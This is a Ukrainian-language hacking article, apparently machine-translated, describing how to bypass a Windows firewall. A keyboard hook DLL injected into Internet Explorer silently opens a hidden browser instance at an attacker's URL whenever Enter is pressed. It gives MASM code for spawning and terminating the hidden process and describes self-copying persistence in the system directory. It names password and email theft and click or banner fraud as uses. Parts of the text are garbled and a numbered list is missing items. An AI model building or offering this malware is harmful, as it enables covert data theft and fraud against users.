Обхід firewall через броузер

В інеті існує багато статей на тему обходу firewall-ів. Всі вони мають свої недоліки. Самий поки найкращий спосіб - впровадження в процес, якому доступ через firewall дозволений. Щоб виконати код в іншому процесі, найкраще використовувати системні хукі. Так буде працювати на всіх системах лінійки m $ windows. Тут вже є кілька різновидів. Можна використовувати систему підміну функцій WinAPI або виконання коду в самій функції, яка обробляє системний хук. У цій статті я представлю досить простий спосіб обходу firewall з використанням системного хука натискань клавіш в браузері. Функція буде викликати ще один екземпляр броузера в невидимому режимі, цей екземпляр броузера буде переходити на вказаний url і викликатися це все буде при натисканні клавіші «Enter». Навіщо це нам треба і що це дасть?

Для тих, хто в бронепоїзді, є як мінімум 3 способи використання виклику оглядачем певного
url:

2. Розкрутка сторінки по відвідуваності, заробляння на показі банерів. Якщо нам не потрібні подробиці особистого життя якогось оленяр з ... стану або піжони з Москви, їх паролі і мило, то програму можна використовувати і як раскрутчік сторінки по відвідуваності або показ банерів на цій самій сторінці. Те, що наш екземпляр невидимий користувачеві, ще не означає, що він не працює як повноцінний броузер.

Ще про достоїнства цього методу:

1. При запуску, програма перевіряється на запуск другого примірника, переписує сама себе в системний каталог, створює ще один екземпляр самої себе (для відновлення в разі видалення і для отримання необхідного url), створює додаткову длл з функцією обробки хука і ініціалізує хук на натискання клавіш.

2. При запуску IE, до нього «прикріпляється» наша додаткова
DLL і в функції обробки чекає натискання «Enter».

3. Якщо «Enter» натиснуто, бере з ще одного примірника нашого exe url і викликає ще один екземпляр IE.

Також функція повинна з'ясувати - в Explorer-у чи вона причепилася. Тут все досить просто - отримаємо заголовок вікна. Останні 17 символів при практично будь-якому відкритому url - «Internet Explorer». Отримання заголовка вікна робиться так:

invoke GetForegroundWindow
.IF eax! = 0
invoke SendMessage, eax, WM_GETTEXT, 1024, addr Zagolovok
.ENDIF

Потім порівнюємо останні 17 символів Zagolovok з «Interner Explorer». Тут нам мелкософта полегшили завдання до межі.
Функція повинна визначити запускала вона вже прихований екземпляр (робиться через змінну), до IE вона причепилася (див. Вище), викликати в прихованому режимі IE з параметром - url і потім закрити це приховане вікно. Виклик IE будемо робити так:

; ----
.DATA?
DopStr db 6660 dup (?)

; ----
; код
; skip
; отримання шляху
invoke GetModuleFileName, NULL, addr DopStr, 1024
; ініціалізація StartupInfo
mov StartupInfo.cb, Sizeof StartupInfo
mov StartupInfo.dwFlags, STARTF_USESHOWWINDOW
; запуск - приховано
mov StartupInfo.wShowWindow, SW_HIDE
; сформуємо командний рядок
invoke lstrcat, addr DopStr, addr probel
invoke lstrcat, addr DopStr, addr url
; виклик вікна IE
invoke CreateProcess, NULL, addr DopStr, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, offset StartupInfo, offset ProcessInfo

Невидиме вікно Explorer-а треба потім якось закрити. Найкращий спосіб - закривати при закритті видимого вікна. В обробнику «відкріплення»
DLL напишемо такий код:

ELSEIF reason == DLL_PROCESS_DETACH
.IF ProcessInfo.hProcess! = 0
invoke TerminateProcess, ProcessInfo.hProcess, 0
invoke CloseHandle, ProcessInfo.hThread
invoke CloseHandle, ProcessInfo.hProcess
.ENDIF

Покажи цю статтю друзям: